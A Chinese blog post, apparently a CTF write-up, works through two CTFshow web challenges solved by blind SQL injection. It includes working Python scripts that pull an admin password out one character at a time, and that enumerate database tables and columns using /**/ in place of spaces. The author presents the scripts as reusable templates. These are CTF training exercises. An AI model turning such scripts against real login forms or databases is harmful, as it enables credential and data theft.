想分享两个舒服的题目,为什么说舒服呢?就是不用费尽心思去想绕过和其它的坏心思了。
不买关子了,就是想分享分享sql注入时遇到的盲注用脚本跑会是一件很简单又舒服的事。这里我先申明,脚本不是我写的,是看师傅们的wp未经允许拿来的,如有冒犯,请私聊我删除即可。
目录
萌新记忆
web8
拿到题目没有任何思路的,前端源码也没有什么异样,通常这个时候的想法就是扫网站看看有没有其它的界面或者是源码泄露等等。然后发现了同目录下有/admin。
是个登录界面,这里我就不啰嗦了,直接看图说话:
得出三个回应的结果:
用户名错误:用户字符输入太长
密码错误:用户名为admin,密码为错误密码
用户名/密码错误:用户名不为admin且不长(不长的最大长度是多少可以自己测试)
这里差不多可以明白这个题目的目的应该就是想要我们获得密码或者说绕过,这里需要解决的一个首要问题就是密码的长度为多少?如何获得这个长度?
直接看:
大于号虽然不能用但是小于号可以,通过这样测试最后得到密码p 的长度为:17
最后上脚本跑密码,再说一遍,文章是原创但脚本不是我的原创。
import requests
url='http://09944183-db46-41f2-bf34-6446da153b55.challenge.ctf.show/admin/checklogin.php'
s='0123456789abcdefghijklmnopqrstuvwxyz'
password=''
flag=''
for i in range(1,18): #密码长度为17循环十七次
print("第"+str(i)+"位")
for j in s:
data={"u":"'||substr(p,"+str(i)+",1)<'"+j,"p":"1"} #判断密码第i位是否比j小若第i位大于j则返回密码错误
r=requests.post(url,data=data) #将得到的u以及p通过post传到url中
if "密码错误"==r.text: #从url返回的数据中读取数据若为"密码错误",则可以说是正确的一位,以此类推
password+=chr(ord(j)-1)
print(password)
break
data={"u":"admin","p":password}
print(data)
rep=requests.post(url,data=data)
flag=rep.text
print(flag)
我们这学期也是在学python,对python语言也算是一知半解,咱就想说这个脚本写的很妙,因为u中有个admin可以让它回显会"密码错误",也就是设置一个true在用户名那,正确的与错误的有不同的回显。
如果是新手,可以多看看回味回味,领悟一下。大佬可以避开这个新手区了!!
结果就是这样!!我是觉得很棒哒!!不过有另一种解法,我并不建议,就是用burp爆破一个一个字符的爆破最后也可以得到一样的结果就是没这么舒服,而且这种脚本比较万能,以后碰到类似的只要修改一下条件和url又可以用。
参考:CTFSHOW 萌新赛 萌新记忆_不上钻石不改名的博客-CSDN博客
这也是个舒服的题目,舒服在于也是跑脚本。
那就来看看这个题目吧!
点击if进去康康
注意看,url多了个id,像极了sql注入的条件,试试看行不行.
这里就有猫腻了,应该有问题,可以fuzz一波。就是康康什么符号被过滤了,什么符号可以利用。
fuzz的字典可以去这里拿fuzzdb/xplatform.txt at master · fuzzdb-project/fuzzdb · GitHub
不多说,最后就是跑,过滤了空格,可以用/**/替代空格使用,这里是最简单的字符注入,所以单引号其实没用。
可以在or后面弄盲注嘛,用burp强跑也行,但是我们要不忘初心,说了舒服就得舒服。
' and ascii(substr((select database()),1,1))=xx #
' and ascii(substr((select database())from 1 for 1))=xx #
两种表示,自己看哪种比较适合场景就取用哪种
脚本(也不是我写的):
import requests
s=requests.session()
url='http://2a5879ec-15f8-4916-86c9-c546521617a7.challenge.ctf.show/index.php?'
table=""
for i in range(1,45):
print(i)
for j in range(31,128):
#爆表名 flag
#payload = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
#爆字段名 flag
#payload = "ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
#读取flag
payload = "ascii(substr((select/**/flag/**/from/**/flag)from/**/%s/**/for/**/1))=%s#"%(str(i), str(j))
ra = s.get(url=url + '?id=0/**/or/**/' + payload).text //这段的意思就是读取get响应后的数据
if 'I asked nothing' in ra: //和上一个脚本一样,如果跑对了就会出现这个字符串,当然也可以是其它字符串,只要是这个文章中的就行
table += chr(j)
print(table)
break
多看看,脚本并不难也就十几二十行,看懂了其实自己也能写(别骂我拿别人的)。
脚本有个小瑕疵,就是没有加上 } 。
以后碰到这种注入题除了手注还能用脚本,更便利,也更快!
参考:刷题之旅第28站,CTFshow web8_圆圈勾勒成指纹的博客-CSDN博客_ctfshow web8